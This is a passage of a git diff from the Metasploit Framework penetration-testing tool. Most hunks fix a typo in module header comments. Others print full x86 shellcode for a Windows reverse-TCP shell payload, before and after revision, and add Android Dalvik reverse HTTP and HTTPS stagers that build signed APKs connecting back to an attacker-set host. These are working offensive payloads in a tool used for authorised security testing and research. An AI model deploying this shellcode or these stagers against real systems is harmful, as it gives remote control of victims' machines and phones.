"\xAC\xBE\x33\xFF\xD5\x40\x74\xD6\x48\x57\x97\x68\x75\x6E\x4D\x61" + + "\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57\x57\x57\x31\xF6\x6A\x12" + + "\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01\x01\x8D\x44\x24\x10\xC6" + + "\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E\x56\x56\x53\x56\x68\x79" + + "\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46\xFF\x30\x68\x08\x87\x1D" + + "\x60\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C" + + "\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53" + + "\xFF\xD5" + } + )) + + register_options([ + OptAddress.new('AHOST', [true, "IP address allowed", nil]) + ]) + end + +end + diff --git a/modules/payloads/singles/windows/shell_reverse_tcp.rb b/modules/payloads/singles/windows/shell_reverse_tcp.rb index 64390865a3..4d13a50974 100644 --- a/modules/payloads/singles/windows/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,31 +28,32 @@ module Metasploit3 { 'Offsets' => { - 'LPORT' => [ 203, 'n' ], - 'LHOST' => [ 196, 'ADDR' ], - 'EXITFUNC' => [ 284, 'V' ], + 'LPORT' => [ 197, 'n' ], + 'LHOST' => [ 190, 'ADDR' ], + 'EXITFUNC' => [ 294, 'V' ], }, 'Payload' => - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + - "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + - "\xD5\x89\xC7\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A" + - "\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x68\x63\x6D\x64\x00\x89" + - "\xE3\x57\x57\x57\x31\xF6\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24" + - "\x3C\x01\x01\x8D\x44\x24\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46" + - "\x56\x4E\x56\x56\x53\x56\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E" + - "\x56\x46\xFF\x30\x68\x08\x87\x1D\x60\xFF\xD5\xBB\xE0\x1D\x2A\x0A" + - "\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05" + - "\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5" + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + + "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + + "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" + + "\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\x7F\x00" + + "\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5" + + "\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5" + + "\xA2\x56\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57\x57\x57\x31\xF6" + + "\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01\x01\x8D\x44\x24" + + "\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E\x56\x56\x53\x56" + + "\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46\xFF\x30\x68\x08" + + "\x87\x1D\x60\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D\xFF" + + "\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A" + + "\x00\x53\xFF\xD5" } )) end diff --git a/modules/payloads/singles/windows/speak_pwned.rb b/modules/payloads/singles/windows/speak_pwned.rb index 67a42850bf..f84c26de02 100644 --- a/modules/payloads/singles/windows/speak_pwned.rb +++ b/modules/payloads/singles/windows/speak_pwned.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/x64/exec.rb b/modules/payloads/singles/windows/x64/exec.rb index 14cd7f4c0a..f1e93c6d95 100644 --- a/modules/payloads/singles/windows/x64/exec.rb +++ b/modules/payloads/singles/windows/x64/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/x64/loadlibrary.rb b/modules/payloads/singles/windows/x64/loadlibrary.rb index 8681c949ca..7db78e24b0 100644 --- a/modules/payloads/singles/windows/x64/loadlibrary.rb +++ b/modules/payloads/singles/windows/x64/loadlibrary.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/x64/shell_bind_tcp.rb b/modules/payloads/singles/windows/x64/shell_bind_tcp.rb index 6806102668..3f4214280b 100644 --- a/modules/payloads/singles/windows/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb b/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb index e08b52473b..51d7227460 100644 --- a/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb new file mode 100644 index 0000000000..333dba072c --- /dev/null +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -0,0 +1,58 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Dalvik + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Dalvik Reverse HTTP Stager', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => 'anwarelmakrahy', + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttp, + 'Stager' => {'Payload' => ""} + )) + + register_options( + [ + OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) + ], self.class) + end + + def generate_jar(opts={}) + host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new + port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s + raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32 + + jar = Rex::Zip::Jar.new + + classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) + string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + host + ":" + port) + string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] + jar.add_file("classes.dex", fix_dex_header(classes)) + + files = [ + [ "AndroidManifest.xml" ], + [ "resources.arsc" ] + ] + + jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) + jar.build_manifest + + cert, key = generate_cert + jar.sign(key, cert, [cert]) + + jar + end + +end diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb new file mode 100644 index 0000000000..9afb96198f --- /dev/null +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -0,0 +1,57 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Dalvik + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Dalvik Reverse HTTPS Stager', + 'Description' => 'Tunnel communication over HTTPS', + 'Author' => 'anwarelmakrahy', + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttps, + 'Stager' => {'Payload' => ""} + )) + + register_options( + [ + OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) + ], self.class) + end + + def generate_jar(opts={}) + host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new + port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s + raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32 + + jar = Rex::Zip::Jar.new + + classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) + string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port) + string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] + jar.add_file("classes.dex", fix_dex_header(classes)) + + files = [ + [ "AndroidManifest.xml" ], + [ "resources.arsc" ] + ] + + jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) + jar.build_manifest + + cert, key = generate_cert + jar.sign(key, cert, [cert]) + + jar + end +end diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index d41922f40e..8e6ff30b2d 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -24,10 +24,11 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseTcp, 'Stager' => {'Payload' => ""} )) - end - def string_sub(data, placeholder, input) - data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) + register_options( + [ + OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) + ], self.class) end def generate_jar(opts={}) @@ -35,46 +36,20 @@ module Metasploit3 classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) - string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST'] - string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT'] + string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST'] + string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT'] + string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] jar.add_file("classes.dex", fix_dex_header(classes)) files = [ [ "AndroidManifest.xml" ], - [ "res", "drawable-mdpi", "icon.png" ], - [ "res", "layout", "main.xml" ], [ "resources.arsc" ] ] jar.add_files(files, File.join(Msf::Config.data_directory, "android", "apk")) jar.build_manifest - x509_name = OpenSSL::X509::Name.parse( - "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown" - ) - key = OpenSSL::PKey::RSA.new(1024) - cert = OpenSSL::X509::Certificate.new - cert.version = 2 - cert.serial = 1 - cert.subject = x509_name - cert.issuer = x509_name - cert.public_key = key.public_key - - # Some time within the last 3 years - cert.not_before = Time.now - rand(3600*24*365*3) - - # From http://developer.android.com/tools/publishing/app-signing.html - # """ - # A validity period of more than 25 years is recommended. - # - # If you plan to publish your application(s) on Google Play, note - # that a validity period ending after 22 October 2033 is a - # requirement. You can not upload an application if it is signed - # with a key whose validity expires before that date. - # """ - # The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC - cert.not_after = Time.at( 0x78045d81 + rand( 0x7fffffff - 0x78045d81 )) - + cert, key = generate_cert jar.sign(key, cert, [cert]) jar diff --git a/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb index 5b64591572..7a4e08f807 100644 --- a/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsd/x86/bind_tcp.rb b/modules/payloads/stagers/bsd/x86/bind_tcp.rb index 51535df801..24725df96b 100644 --- a/modules/payloads/stagers/bsd/x86/bind_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsd/x86/find_tag.rb b/modules/payloads/stagers/bsd/x86/find_tag.rb index 511648131a..f561969a86 100644 --- a/modules/payloads/stagers/bsd/x86/find_tag.rb +++ b/modules/payloads/stagers/bsd/x86/find_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb b/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb index 75598d6ebe..3cff4dfad8 100644 --- a/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsd/x86/reverse_tcp.rb b/modules/payloads/stagers/bsd/x86/reverse_tcp.rb index fee5d39a4b..47dd1b8868 100644 --- a/modules/payloads/stagers/bsd/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsdi/x86/bind_tcp.rb b/modules/payloads/stagers/bsdi/x86/bind_tcp.rb index b3bd1bdeb8..ef9ddb09e1 100644 --- a/modules/payloads/stagers/bsdi/x86/bind_tcp.rb +++ b/modules/payloads/stagers/bsdi/x86/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb b/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb index cccbd789c8..0d9324ecec 100644 --- a/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb index 307b327f4f..96ad585914 100644 --- a/modules/payloads/stagers/java/bind_tcp.rb +++ b/modules/payloads/stagers/java/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb index b95df84f52..3b8d2a43f8 100644 --- a/modules/payloads/stagers/java/reverse_http.rb +++ b/modules/payloads/stagers/java/reverse_http.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index d17582e06f..b2043d7f59 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb index 94d83a691e..5c0d791b8f 100644 --- a/modules/payloads/stagers/java/reverse_tcp.rb +++ b/modules/payloads/stagers/java/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/armle/bind_tcp.rb b/modules/payloads/stagers/linux/armle/bind_tcp.rb index 763a20a329..04ce0b1304 100644 --- a/modules/payloads/stagers/linux/armle/bind_tcp.rb +++ b/modules/payloads/stagers/linux/armle/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/armle/reverse_tcp.rb b/modules/payloads/stagers/linux/armle/reverse_tcp.rb index 0a1467c765..eed03ccb83 100644 --- a/modules/payloads/stagers/linux/armle/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/armle/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb index 4dd0c08440..2f7f43776d 100644 --- a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb index 9b123da4bb..54e93c76ac 100644 --- a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x64/bind_tcp.rb b/modules/payloads/stagers/linux/x64/bind_tcp.rb index 059851fd11..25125f3fbb 100644 --- a/modules/payloads/stagers/linux/x64/bind_tcp.rb +++ b/modules/payloads/stagers/linux/x64/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x64/reverse_tcp.rb b/modules/payloads/stagers/linux/x64/reverse_tcp.rb index 80530c3110..2743036ade 100644 --- a/modules/payloads/stagers/linux/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x64/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb index 7af1d8ecaa..7a7fe85b4d 100644 --- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb b/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb index 671d668433..0f16231f7c 100644 --- a/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/bind_tcp.rb b/modules/payloads/stagers/linux/x86/bind_tcp.rb index 051509623f..bd57d7c695 100644 --- a/modules/payloads/stagers/linux/x86/bind_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/find_tag.rb b/modules/payloads/stagers/linux/x86/find_tag.rb index a6eeba9b0e..25f01b2640 100644 --- a/modules/payloads/stagers/linux/x86/find_tag.rb +++ b/modules/payloads/stagers/linux/x86/find_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb index 5ce3c9a39e..73804a72af 100644 --- a/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb index 5cdd7cd583..dce4cea84e 100644 --- a/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_tcp.rb index 9b5549f673..69404a7006 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/netware/reverse_tcp.rb b/modules/payloads/stagers/netware/reverse_tcp.rb index c6bd14e47d..a414ad9b65 100644 --- a/modules/payloads/stagers/netware/reverse_tcp.rb +++ b/modules/payloads/stagers/netware/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/armle/bind_tcp.rb b/modules/payloads/stagers/osx/armle/bind_tcp.rb index 29620a162e..35a8f99d74 100644 --- a/modules/payloads/stagers/osx/armle/bind_tcp.rb +++ b/modules/payloads/stagers/osx/armle/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/armle/reverse_tcp.rb b/modules/payloads/stagers/osx/armle/reverse_tcp.rb index c7d738880d..92a2ba54cc 100644 --- a/modules/payloads/stagers/osx/armle/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/armle/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/ppc/bind_tcp.rb b/modules/payloads/stagers/osx/ppc/bind_tcp.rb index fab3b343c3..9c2442208f 100644 --- a/modules/payloads/stagers/osx/ppc/bind_tcp.rb +++ b/modules/payloads/stagers/osx/ppc/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/ppc/find_tag.rb b/modules/payloads/stagers/osx/ppc/find_tag.rb index 0eda9c2cbb..817e9acd95 100644 --- a/modules/payloads/stagers/osx/ppc/find_tag.rb +++ b/modules/payloads/stagers/osx/ppc/find_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/ppc/reverse_tcp.rb b/modules/payloads/stagers/osx/ppc/reverse_tcp.rb index f30b214928..97d86cc19c 100644 --- a/modules/payloads/stagers/osx/ppc/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/ppc/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/x64/bind_tcp.rb b/modules/payloads/stagers/osx/x64/bind_tcp.rb index 2cc29d3cc7..4be648931d 100644 --- a/modules/payloads/stagers/osx/x64/bind_tcp.rb +++ b/modules/payloads/stagers/osx/x64/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/x64/reverse_tcp.rb b/modules/payloads/stagers/osx/x64/reverse_tcp.rb index dfe8286b27..400505c9fc 100644 --- a/modules/payloads/stagers/osx/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/x64/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/x86/bind_tcp.rb b/modules/payloads/stagers/osx/x86/bind_tcp.rb index 